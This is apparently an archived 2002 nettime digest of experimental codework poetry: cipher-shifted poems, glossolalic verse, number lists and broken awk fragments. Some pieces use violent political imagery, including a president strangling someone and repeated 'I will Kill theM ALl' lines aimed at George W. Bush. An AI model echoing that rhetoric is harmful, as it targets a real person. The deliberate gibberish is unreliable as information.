been z:S!Iiw  ... HO[xXY VZ {AT} \nlandlady  j#+T RLpa?  ...ld  ...m  ...[show  gentlemen Honours    gjD&Y.\nhDSGak      LJ*EY STXw <p> ... I  faults is confess       it won't be denied\nlI {AT} Q    madmen  without keepers be          npqIA{! vD?. {AT}  walked  \\TGv^h'\nsQaDV!x    japanned  {AT} ;O      Qfi   *jW=W` ... ey#RySy her  babe complain)\n<\\$  QX:-pAL-`,?Dc    QX:-pAL  ... be  Virtues S-Y!??N  tiwoJ    once \"\"ZMn\noysP Y&d+J     Coventry Sam Weller beguiled   s,KvDL   anecdotes Our vfm {AT} J\nstreets    sylvan-walks u wn  Intent they  II]WRN| [, {AT} m d{?rM  wGM  scene\n;vKeiC     h^mM$   c:c  ...  late RK:!     literary    there came ?bwLC\nabout him mix    blood  M(dr_    h^mM$  ... which    qSN they R\"/Ay  be\n!w~Gp<c   Zny% my  az_Xl  ... x<R%]tW night[ Then  muddily they *,/\n+YV(,{[    slow      B\\'V#\"L    Mr  C  Finden  ]Y%`c(O  TEeb\"-s,KvDL\nproprie ...r   Thus   my age's \"  my |ERKp    ~xi   placed   x\"G^`s {AT}  upon it\nThen  after  YI&|Q  dc|TbZ%    WnVl gp*\\k% gp*\\k%  dgQ|-$  ... ;mb   KPXL\nx_Tke[    harden        read  r{%- Y~ n-%F* beheld  them pacing     slh\nhis  M {AT} H!: salon [I { ...gn ... you Wy$DC) CvyYtM  ... be SM# Flosculus\nangustae miseraeque  brevissima vitae     smuggled _T%KD   neighb'ring\nV[_ef  ...ld Or  ... thy `X;Gxdy or thy .\\O`  blind    ZZRJ-S  folds  TEeb\"\n,lJ  H*mePRV Be lost    [*<{$?z  you should (LHW)   debt[     zpMyW v.H\n^ICBr| V[_ef  _nDnt  W  P  Frith has  ...ld us    xDJR    1841  Dickens\nForster  passed  ~$/,z\\    Fg~oy|W    Cobham   They K^\"[  there's Jp#V d{?rM\n`Y|&- -~L jW/EG  z?b\"      look  U[sMri   comforts     /VwO Did cou   )BN`$Z\nnYj  d{?rM 'Ywr&Dl   their lKbF&U^  U[sMri   _nDnt Mr  Pickwick ey#RySy . ..\nle!sP.z DnrQ No - ,qY#fO is  suffer  o'er  walks  ... Cbjlc~   lfXF=Cg STXw\nlKbF&U^  #+)Rw nearer \"_{$  #, {AT} *    #+)Rw  gentlemanly  Cftv is   NtYG-b\nwhich[every schoolboy  knows[ Mr    St   John Adcock is )WO  ye\\ j#+T steers\n(?<Jf   Pinch  [, {AT} m <HXeu$n or  turbid    disgrace   retaining  ^ICBr|  KoR\n'O)vr    his { {AT} S\"Y_ is  1827-28  N._& His  pride   SJuZ[*   his IHzoz?p\nsting   It has s ...od since 1779   occupies    {AT} XZ    y.Ec+v  {AT} ifoM  inns MxM\n {AT} jF== surpasses !]c L\"[m*Y  +BO  /~[(vKv     W,C     not  unpleasing LAeiwYX\n,'     ... this deceit you            TEeb\" reply- which   +z~f  ^M\"HW\nWhich ]fxnA\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.386 / Virus Database: 218 - Release Date: 9/9/2002\n\n\n\n\nDate:         Tue, 24 Sep 2002 19:28:08 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: out of nowhere\n\nout of nowhere\n\n\naaa aaaaaa aaaaaaaaa aaaaa aaa aa aaaaaaa. aaa aaaaaa aaaaaaaaa aa aaaa\naaaaaaa. aaa aaaaaaaaaa aa aaaa aa. aa aaa aaa, aaaa. aaa aaaaaaaaa aaaaaa\naaa aaaaa aa aaaaaaaa. aa aaaa aa aaaaaaaa aaaa aaa aaa aaaaa. aa aaaaaaa\naa aaa aaaaaaaaaaa aa aaaaaaaa aaaaaaaa 'aa aaaa aaaaaaaaaaa.' aa aaaaa\naaa aaa aaaaaaaa. aa aaaaa aaaa aaaaaaaaa aaaaa aaa aa aaaaaaa aaa aaaaaaa\naa aaaaaaa. aa aaa aaa aaaaa aa aaa. aaaa aaaaaaaa aaaa aaaa aaaaaaaa.\naaaaa aaaaaa aaaaaaaaaa aaaa. aaaaa aaaaaa aaaa aaaaa aaaa. aa aaaa aaa\naaaa. aaaaaaaa aa aaaaaaa.\n\naaa aaaaaa aaaaaaaaa aaaaa aa aaaa aaaa aaa aaaa aaa aaaaa. aaa aaaaa\naaaaa aaa aaa aa aa. aaa aaaaaa aaaaaaaaa aaaaaaaaa aaa. a aaaa aaaaa aa\naaaa aaaaa. aa aaaa aaa aaaaaa aa aa aa aaa aa aa aaaaa aa aaaa aaaaaa aa\naaaaaaaa. aaaaaaaa aaaaaa aaaaaaaa. aaaaa aaa aaa aaaaa aaaa aa. aaaa aaaa\naaaaaaa. aaaa aaaa aaaaaaa aa aaa.\n\nabb aabaaa abbaaabaa abbba bba ba ababaaa. abb aabaaa abbaaabaa ab aaab\nababaaa. abb aabaaaaaab aa baba ba. aa aba aba, abba. abb abbaaabaa bbabba\nabb abaab ba babbabab. ab aaab aa abaaaaaa abab abb bbb aaaba. ab abbbbab\naa abb abaabbbbbba ba babbbbba baabaaba 'ba baaa abaabbaaaba.' ab ababa\nabb aba aaaabaab. ab ababa abaa bbbaaaaaa abbba bba ba ababbbb aaa bbabbaa\nab ababbbb. ab abb abb abbba ab aab. baaa aababaab aaaa aaba aababaab.\nabbab bbaaaa baabbaaaaa abaa. abbab bbaaaa baab abbab aabb. ab baab bbb\naabb. babbabab aa aaaaaaa.\n\nabb aabaaa abbaaabaa aaaaa ab baaa aaab baa abba aaa baaaa. baa aaaba\nbbaaa bab bab ba ba. abb aabaaa abbaaabaa aabaaaaba bab. a aaaa abaab ba\naaaa abbaa. aa abba aba baaabb aa aa aa bab bb aa babbb bb baaa babbba bb\nbabbabab. aababaab bbbbaa aababaab. abbab bba aaa abbba aaaa aa. abba aaaa\nababaaa. abba aaaa ababaaa aa aaa.\n\nabb cabcca cbbccabaa cbdbc bba bc ababcaa. abb cabcca cbbccabaa ab caab\nababcaa. abb acbcaccccb cc bcba bc. cc aba aba, abba. abb cbbccabaa bbabbc\nabb abaab bc bcbbcbab. ab cccb ca cbacaaaa cbab cbb bbb cccbc. ab abbdbcb\nca abb abcabbbbbba bc babbdbbc dacbcabc 'bc dacc abcabbcacba.' ab cbaba\nabb aba caaabaab. ab cbaba abaa bbbaaccac cbdbc bba bc ababbbb aaa bbabbac\nab ababbbb. ab abb abb abbba ab acb. bacc ccbcbacb accc cabc ccbcbacb.\nabbcb bbacac baabbcaaaa abaa. abbcb bbacac bcab abbcb acdb. ab bcab bbb\nacdb. bcbbcbab cc aacacaa.\n\nabb cabcca cbbccabaa aaaac ab bccc acab bcc abdc aaa baaac. bcc acabc\nbbcaa bcd bab bc bc. abb cabcca cbbccabaa cabaaacbc bcd. c accc abcab dc\ncaca abbac. ca abbc aba daaabb cc ca cc bcd bb aa babbb bb daac babbbc bb\nbcbbcbab. ccbcbacb bbbbac ccbcbacb. abbcb dba aaa abdba aaaa ca. abbc aaaa\nababcaa. abbc aaaa ababcaa aa acc.\n\nabe fabccd ceefcdeaa cbgef bba bf ababcaa. abe fabccd ceefcdeaa ab caab\nababcaa. abe acbcaffcfe cf bcba bf. cf aba abd, dbea. abe ceefcdeaa bedeef\nabe deaab bf eceefbae. de fcce ca cbafaaaa feae fbe bbe fccef. de aeegbfe\nca abe aecabbbebbd bf eabegbbf gacbcaef 'bf gaff defaebcacba.' de feaea\nabe aed faaabaae. de feaea abaa bebaafcaf cbgef bba bf abdbeee aad eeabeaf\nab abdbeee. de dbb aee abbba ab dce. baff ccbfeace dcff fabc ccbfeace.\nabefe beafaf badeefaaad abaa. abefe beafaf bcde abece acge. de bcde bbe\nacge. eceefbae cf dacacaa.\n\nabe fabccd ceefcdeaa daaaf ab ecff dcab bcf aegf aad baadf. bcf acdef\nbecaa bcg bae bf bf. abe fabccd ceefcdeaa faeaaafef bcg. c dcff decae gf\nfafa dbedf. ca dbef aba gaaaee cf ca cf bcg be aa babee be gaaf babeef be\neceefbae. ccbfeace beeedf ccbfeace. abefe gea aad dbgea daaa ca. abef daaa\nababcaa. abef daaa ababcaa aa aff.\n\nghe fghcid ceefideag cbmef bhg bf abghiag. ghe fghcid ceefideag gb iagb\nabghiag. ghe acbcallcfe if hcba hf. if abg abj, jhea. ghe ceefideag bedeef\nghe deagh bf eieelbae. je liie ia cbafgaag feae fbe bhe liief. je geemble\nia ghe aeighbbebbd bf eabembhf machiaef 'bf maff defgehcgiba.' je leaea\nghe aej laaghage. je leaea ghag behgaligl cbmef bhg bf abjheee aad eegheaf\ngb abjheee. je jhb aee abbhg gb die. ball iibleace jill fgbc iibleace.\nghefe beafgf hadeefgaad ghag. ghefe beafgf bide gheie gime. je bide bhe\ngime. eieelbae if jaigiag.\n\nghe fghcid ceefideag jaagf gb kill jigh hif aemf aad haadf. hif aidef\nbeiag him bae bf hf. ghe fghcid ceefideag fgeaaglef him. i jill jeige ml\nlafg jbedf. ig dbef abg maggee if ig if him be aa bghee be maal bgheef be\neieelbae. iibleace beeedf iibleace. ghefe mea aad jbmea jaag ig. ghel jaag\nabghiag. ghel jaag abghiag ag all.\n\nthe stupid president comes out of nothing. the stupid president go into\nnothing. the apocalypse is upon us. if not now, when. the president orders\nthe death of everyone. we live in constant fear for our lives. we tremble\nin the neighborood of enormous machines 'of mass destruction.' we learn\nthe new language. we learn that brutality comes out of nowhere and returns\nto nowhere. we who are about to die. only violence will stop violence.\nthese beasts understand that. these beasts bide their time. we bide our\ntime. everyone is waiting.\n\nthe stupid president wants to kill with his arms and hands. his aides\nbring him one of us. the stupid president strangles him. i will write my\nlast words. it does not matter if it is him or an other or many others or\neveryone. violence breeds violence. these men and women want it. they want\nnothing. they want nothing at all.\n\n\n===\n\n\n\n\nDate:         Tue, 24 Sep 2002 23:15:42 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: Re: out of an orange coloured sky\n\nfor some reason the first part of this made me think\nof a prayer wheel, consider this a kind of prayer:\n\n\n\n\na aba bR baBaH  beahab abRahaca\ncococicicaramOmdadrDam hahe )::oO\naB araeoeeoeovaf ara feeFofa gama     gRogogahaghee\nHaoHuamamahagK\nHUM HUM Ha Ira iraeoajaiiiYejejouja     ahbraje aOka\nramakoka omaolAieL\nlilolaolloiley ramabracaraLmaM ohAmoa     bromaneOmi a\nmieienaohaNoom\n0 im)ta  raronioaroacarobaraohadaorCaoro      om\ndaroomaumOoopapaopan\nliaracaro) aoota  carobaradaram ohoko booba\nocdohakiparoopiepupaeieo\npeapinaqua Quioh) habracaraq daramqaraeqaraf\naraqu Queroabraoomarp\noo aroarumaramabrabaOharabr  arcra QuaRoro\nrarirooarabara ubrocaramadremerasa::SAhat\nrabraseisos Sasabracsai   sausadesgite ta\ntabratotatotatotatodatacatscarbram\nTarattau aU aubramubrab racumcaroru\nubeuberuberhamrabcarbarbadabraumaumdebraum\nveaovioabraveorvedaovev   oucavao\narvavaravaraHaowoiowoabrawocarwra\ndw idwoode wowaabracarwi    dawiefawagawahaW O\nAXAXAXAXAXAXA\nXAye yee yea yi yu abrayabr    ayac\nycadyradaybracydayoo yasayoomiyoo=ii Z\nYaye xiAbaarcooahaodHOh::)a::om)ka::um)ra zixosa\nvedemo u xoci nevedemo araye bra\ncQ\n\n\nno, it does not make sense.\n\n\n\n\n\n\n\n\n\n\nnettime unstable digest vol 14\nSat Sep 28 12:39:48 2002\n\n\nSubject: |   || . || 27-9-2002-14:56 |_| 262163 1\" || |\n    From: Johan Meskens CS2 jmcs2\n\nSubject: A.K-LINE.ONE.NUMb-slash-dat\"E\"+sig(N)aim\n    From: a u t u m n - f r e q u e n c y\n\nSubject: Yellow Notebook - page 4\n    From: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\n\nSubject: crypto\n    From: \"august highland\" <hmfah3 {AT} hotmail.com>\n\nSubject: desperate codes\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: MultiBabelized Foofwa Textextraction\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n\nSubject: modificated [\n    From: \"+ lo_y. +\" <loy {AT} MYREALBOX.COM>\n\nSubject: DISASSEMBLAGE\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n\nSubject: Re: The next n(l)ight and day...\n    From: \"Joel Weishaus\" <weishaus {AT} pdx.edu>\n\nSubject: carolyn stills\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: out of nowhere\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: Re: out of an orange coloured sky\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    _arc.hive_ eu-gene o-o rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    siratori trAce wryting \n$Id: digestunstable.pl,v 1.10 2002/09/21 09:05:08 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 28 Sep 2002 12:41:23 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200209281857.g8SIvRZ27915 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0209/msg00132.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 14"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00103",
                "content": "\nDate: Wed, 18 Sep 2002 12:09:35 +0200\nFrom: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\nSubject: Re: teddy warburg\n\n\n\naugust highland wrote:\n> TEDDY WARBURG\n> \n> ATMOSPHERE #0009      [excerpt]\n\n0001, 0002, 0003, 0004, 0005, 0006, 0007, 0008, 0009, 0010, 0011, 0012,\n0013, 0014, 0015, 0016, 0017, 0018, 0019, 0020, 0021, 0022, 0023, 0024,\n0025, 0026, 0027, 0028, 0029, 0030, 0031, 0032, 0033, 0034, 0035, 0036,\n0037, 0038, 0039, 0040, 0041, 0042, 0043, 0044, 0045, 0046, 0047, 0048,\n0049, 0050, 0051, 0052, 0053, 0054, 0055, 0056, 0057, 0058, 0059, 0060,\n0061, 0062, 0063, 0064, 0065, 0066, 0067, 0068, 0069, 0070, 0071, 0072,\n0073, 0074, 0075, 0076, 0077, 0078, 0079, 0080, 0081, 0082, 0083, 0084,\n0085, 0086, 0087, 0088, 0089, 0090, 0091, 0092, 0093, 0094, 0095, 0096,\n0097, 0098, 0099, 0100, 0101, 0102, 0103, 0104, 0105, 0106, 0107, 0108,\n0109, 0110, 0111, 0112, 0113, 0114, 0115, 0116, 0117, 0118, 0119, 0120,\n0121, 0122, 0123, 0124, 0125, 0126, 0127, 0128, 0129, 0130, 0131, 0132,\n0133, 0134, 0135, 0136, 0137, 0138, 0139, 0140, 0141, 0142, 0143, 0144,\n0145, 0146, 0147, 0148, 0149, 0150, 0151, 0152, 0153, 0154, 0155, 0156,\n0157, 0158, 0159, 0160, 0161, 0162, 0163, 0164, 0165, 0166, 0167, 0168,\n0169, 0170, 0171, 0172, 0173, 0174, 0175, 0176, 0177, 0178, 0179, 0180,\n0181, 0182, 0183, 0184, 0185, 0186, 0187, 0188, 0189, 0190, 0191, 0192,\n0193, 0194, 0195, 0196, 0197, 0198, 0199, 0200, 0201, 0202, 0203, 0204,\n0205, 0206, 0207, 0208, 0209, 0210, 0211, 0212, 0213, 0214, 0215, 0216,\n0217, 0218, 0219, 0220, 0221, 0222, 0223, 0224, 0225, 0226, 0227, 0228,\n0229, 0230, 0231, 0232, 0233, 0234, 0235, 0236, 0237, 0238, 0239, 0240,\n0241, 0242, 0243, 0244, 0245, 0246, 0247, 0248, 0249, 0250, 0251, 0252,\n0253, 0254, 0255, 0256, 0257, 0258, 0259, 0260, 0261, 0262, 0263, 0264,\n0265, 0266, 0267, 0268, 0269, 0270, 0271, 0272, 0273, 0274, 0275, 0276,\n0277, 0278, 0279, 0280, 0281, 0282, 0283, 0284, 0285, 0286, 0287, 0288,\n0289, 0290, 0291, 0292, 0293, 0294, 0295, 0296, 0297, 0298, 0299, 0300,\n0301, 0302, 0303, 0304, 0305, 0306, 0307, 0308, 0309, 0310, 0311, 0312,\n0313, 0314, 0315, 0316, 0317, 0318, 0319, 0320, 0321, 0322, 0323, 0324,\n0325, 0326, 0327, 0328, 0329, 0330, 0331, 0332, 0333, 0334, 0335, 0336,\n0337, 0338, 0339, 0340, 0341, 0342, 0343, 0344, 0345, 0346, 0347, 0348,\n0349, 0350, 0351, 0352, 0353, 0354, 0355, 0356, 0357, 0358, 0359, 0360,\n0361, 0362, 0363, 0364, 0365, 0366, 0367, 0368, 0369, 0370, 0371, 0372,\n0373, 0374, 0375, 0376, 0377, 0378, 0379, 0380, 0381, 0382, 0383, 0384,\n0385, 0386, 0387, 0388, 0389, 0390, 0391, 0392, 0393, 0394, 0395, 0396,\n0397, 0398, 0399, 0400, 0401, 0402, 0403, 0404, 0405, 0406, 0407, 0408,\n0409, 0410, 0411, 0412, 0413, 0414, 0415, 0416, 0417, 0418, 0419, 0420,\n0421, 0422, 0423, 0424, 0425, 0426, 0427, 0428, 0429, 0430, 0431, 0432,\n0433, 0434, 0435, 0436, 0437, 0438, 0439, 0440, 0441, 0442, 0443, 0444,\n0445, 0446, 0447, 0448, 0449, 0450, 0451, 0452, 0453, 0454, 0455, 0456,\n0457, 0458, 0459, 0460, 0461, 0462, 0463, 0464, 0465, 0466, 0467, 0468,\n0469, 0470, 0471, 0472, 0473, 0474, 0475, 0476, 0477, 0478, 0479, 0480,\n0481, 0482, 0483, 0484, 0485, 0486, 0487, 0488, 0489, 0490, 0491, 0492,\n0493, 0494, 0495, 0496, 0497, 0498, 0499, 0500, 0501, 0502, 0503, 0504,\n0505, 0506, 0507, 0508, 0509, 0510, 0511, 0512, 0513, 0514, 0515, 0516,\n0517, 0518, 0519, 0520, 0521, 0522, 0523, 0524, 0525, 0526, 0527, 0528,\n0529, 0530, 0531, 0532, 0533, 0534, 0535, 0536, 0537, 0538, 0539, 0540,\n0541, 0542, 0543, 0544, 0545, 0546, 0547, 0548, 0549, 0550, 0551, 0552,\n0553, 0554, 0555, 0556, 0557, 0558, 0559, 0560, 0561, 0562, 0563, 0564,\n0565, 0566, 0567, 0568, 0569, 0570, 0571, 0572, 0573, 0574, 0575, 0576,\n0577, 0578, 0579, 0580, 0581, 0582, 0583, 0584, 0585, 0586, 0587, 0588,\n0589, 0590, 0591, 0592, 0593, 0594, 0595, 0596, 0597, 0598, 0599, 0600,\n0601, 0602, 0603, 0604, 0605, 0606, 0607, 0608, 0609, 0610, 0611, 0612,\n0613, 0614, 0615, 0616, 0617, 0618, 0619, 0620, 0621, 0622, 0623, 0624,\n0625, 0626, 0627, 0628, 0629, 0630, 0631, 0632, 0633, 0634, 0635, 0636,\n0637, 0638, 0639, 0640, 0641, 0642, 0643, 0644, 0645, 0646, 0647, 0648,\n0649, 0650, 0651, 0652, 0653, 0654, 0655, 0656, 0657, 0658, 0659, 0660,\n0661, 0662, 0663, 0664, 0665, 0666, 0667, 0668, 0669, 0670, 0671, 0672,\n0673, 0674, 0675, 0676, 0677, 0678, 0679, 0680, 0681, 0682, 0683, 0684,\n0685, 0686, 0687, 0688, 0689, 0690, 0691, 0692, 0693, 0694, 0695, 0696,\n0697, 0698, 0699, 0700, 0701, 0702, 0703, 0704, 0705, 0706, 0707, 0708,\n0709, 0710, 0711, 0712, 0713, 0714, 0715, 0716, 0717, 0718, 0719, 0720,\n0721, 0722, 0723, 0724, 0725, 0726, 0727, 0728, 0729, 0730, 0731, 0732,\n0733, 0734, 0735, 0736, 0737, 0738, 0739, 0740, 0741, 0742, 0743, 0744,\n0745, 0746, 0747, 0748, 0749, 0750, 0751, 0752, 0753, 0754, 0755, 0756,\n0757, 0758, 0759, 0760, 0761, 0762, 0763, 0764, 0765, 0766, 0767, 0768,\n0769, 0770, 0771, 0772, 0773, 0774, 0775, 0776, 0777, 0778, 0779, 0780,\n0781, 0782, 0783, 0784, 0785, 0786, 0787, 0788, 0789, 0790, 0791, 0792,\n0793, 0794, 0795, 0796, 0797, 0798, 0799, 0800, 0801, 0802, 0803, 0804,\n0805, 0806, 0807, 0808, 0809, 0810, 0811, 0812, 0813, 0814, 0815, 0816,\n0817, 0818, 0819, 0820, 0821, 0822, 0823, 0824, 0825, 0826, 0827, 0828,\n0829, 0830, 0831, 0832, 0833, 0834, 0835, 0836, 0837, 0838, 0839, 0840,\n0841, 0842, 0843, 0844, 0845, 0846, 0847, 0848, 0849, 0850, 0851, 0852,\n0853, 0854, 0855, 0856, 0857, 0858, 0859, 0860, 0861, 0862, 0863, 0864,\n0865, 0866, 0867, 0868, 0869, 0870, 0871, 0872, 0873, 0874, 0875, 0876,\n0877, 0878, 0879, 0880, 0881, 0882, 0883, 0884, 0885, 0886, 0887, 0888,\n0889, 0890, 0891, 0892, 0893, 0894, 0895, 0896, 0897, 0898, 0899, 0900,\n0901, 0902, 0903, 0904, 0905, 0906, 0907, 0908, 0909, 0910, 0911, 0912,\n0913, 0914, 0915, 0916, 0917, 0918, 0919, 0920, 0921, 0922, 0923, 0924,\n0925, 0926, 0927, 0928, 0929, 0930, 0931, 0932, 0933, 0934, 0935, 0936,\n0937, 0938, 0939, 0940, 0941, 0942, 0943, 0944, 0945, 0946, 0947, 0948,\n0949, 0950, 0951, 0952, 0953, 0954, 0955, 0956, 0957, 0958, 0959, 0960,\n0961, 0962, 0963, 0964, 0965, 0966, 0967, 0968, 0969, 0970, 0971, 0972,\n0973, 0974, 0975, 0976, 0977, 0978, 0979, 0980, 0981, 0982, 0983, 0984,\n0985, 0986, 0987, 0988, 0989, 0990, 0991, 0992, 0993, 0994, 0995, 0996,\n0997, 0998, 0999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008,\n\n> Gesu! hexagonal perforations Accurately fitting plungers education thrown\n\n1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020,\n1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032,\n1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044,\n1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056,\n1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068,\n1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080,\n1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092,\n1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104,\n1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116,\n1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128,\n1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140,\n1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152,\n1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164,\n1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176,\n1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188,\n1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200,\n1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212,\n\n> nicely rounded grand pianoforte Bach's harpsichord preserved the\n\n1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224,\n1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236,\n1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248,\n1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260,\n1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272,\n1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284,\n1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296,\n1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308,\n1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320,\n1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332,\n1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344,\n1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356,\n1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368,\n1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380,\n1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392,\n1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404,\n1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416,\n1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428,\n1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440,\n1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452,\n1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464,\n1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476,\n1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488,\n1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500,\n\n\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Wed, 18 Sep 2002 21:51:58 -0400 (EDT)\nSubject: then and now kIlL\n\n\n\n\nthen and now kIlL\n\n\nthen\n\npulsation bodies / body pulsations\nequivalence shuttle-shifting\n\n/[0]+/ { print \"it swelled\" } /[z]+/ \"or the tumor /[y]+/ \"bullets moved\non it\" /[x]+/ shaped and grew\" /[w]+/ \"the shapes engorged\" /[v]+/ spewed\"\n/[u]+/ emanated from vaginal area\" /[t]+/ prostate\" /[s]+/ breast\" /[r]+/\nlungs\" /[q]+/ mouth\" /[p]+/ \"sores across labia scrotum\" /[o]+/ they\ndistended\" /[n]+/ swellings far too painful\" /[m]+/ \"beyond pleasure pain\"\n/[l]+/ waves of murmurs\" /[k]+/ \"pain /[j]+/ \"distortions movements in\nlozenges\" /[i]+/ \"coagulations bullets /[h]+/ \"shuddering swollen\" /[g]+/\n\"protruding parasitic emanations\" /[f]+/ \"within scent slow death\" /[e]+/\nlozenge life\" /[d]+/ \"slow bullet /[c]+/ \"stuttering within stuttering\nwithout\" /[b]+/ tumescence /[a]+/ pulling pure down everything /^$/\nswelled it or was veering\"  i for = ( NF; >= 1; )  i-- )( printf \"%s\n\",$i;printf \"\\n\"; awk: zz:5: ^ unterminated string\n\nnow\n\nof names of things, penis-strokes, pluses and minuses, the system of\npositive integers minus division - nothing divides - no fractions - no\ncouplets of form (a,b) - nothing identifiable - clear-cut taxonomies of\nflesh in the suppurating body of george w. bush - location of daddy-daddy\n- the furious wronging! :there is no radiation in the black hole; there is\nnothing; there are no spectral emissions; no surrounding jets; there are\ngalleries :cutting into the flesh of george w. bush < location of\ndaddy-mommy > location of daddy-mommy-daddy - first black hole w/ no\ndetail:NoW I wiLL kILl thEm alL:NoW I wiLL kILl thEm alL\n\nYour penises I will Kill theM ALl is on my deaths\nI will Kill theM ALl\nYour penises I will Kill theM ALl is on my deaths\nI will Kill theM ALl\nYour penises I will Kill theM ALl is on my deaths\nI will Kill theM ALl\nYour penises I will Kill theM ALl is on my deaths\nI will Kill theM ALl\nYour penises I will Kill theM ALl is on my deaths\nI will Kill theM ALl\n\nlabor\nmovements in of movements lozenges\" lozenges\" { /[i]+/ { \"coagulations\nofxt six monthsok for the stuff next time I'\nbullets and /[h]+/ \"shuddering print swollen\" and /[g]+/\n/[g]+/-IMPORTANT_Keys for Joannaanu.edu.au/english/internet_txtite so\n\"protruding \"protruding parasitic parasitic emanations\" emanations\"\n/[f]+/95) The Blue Tapetxtlo.edu wrote:ess,\" one defined positively to\nincor\nW^G Get Help  ^X Send      ^R Rea\nPine finished -- Closed f\ng body of george w. bush - location of daddy-daddy - the furious wronging!\n4814? Yes tired\nyou have mail in /net/u/6/s/sondheim/.mailspool/sondheimCut Text^\n text is your final enunciation. for aogies O\nk16% ls\nMa\nFor 4 penises days, we have been growths and written.   venom.ircancel\nN Nosign. Visiting Pr\nSend messa\nand it has taken you 4.467 minutes to write your last ...  spam\nvolt.ircper semester: intr\nof names of th\nflesh in the suppurating body of george w. bush - location of daddy-daddy\ntHE fUrIOuS wROngInG!\n\n\n===\n\n\n \n\n\n\nDate:         Sat, 14 Sep 2002 18:26:20 -0500\nFrom: 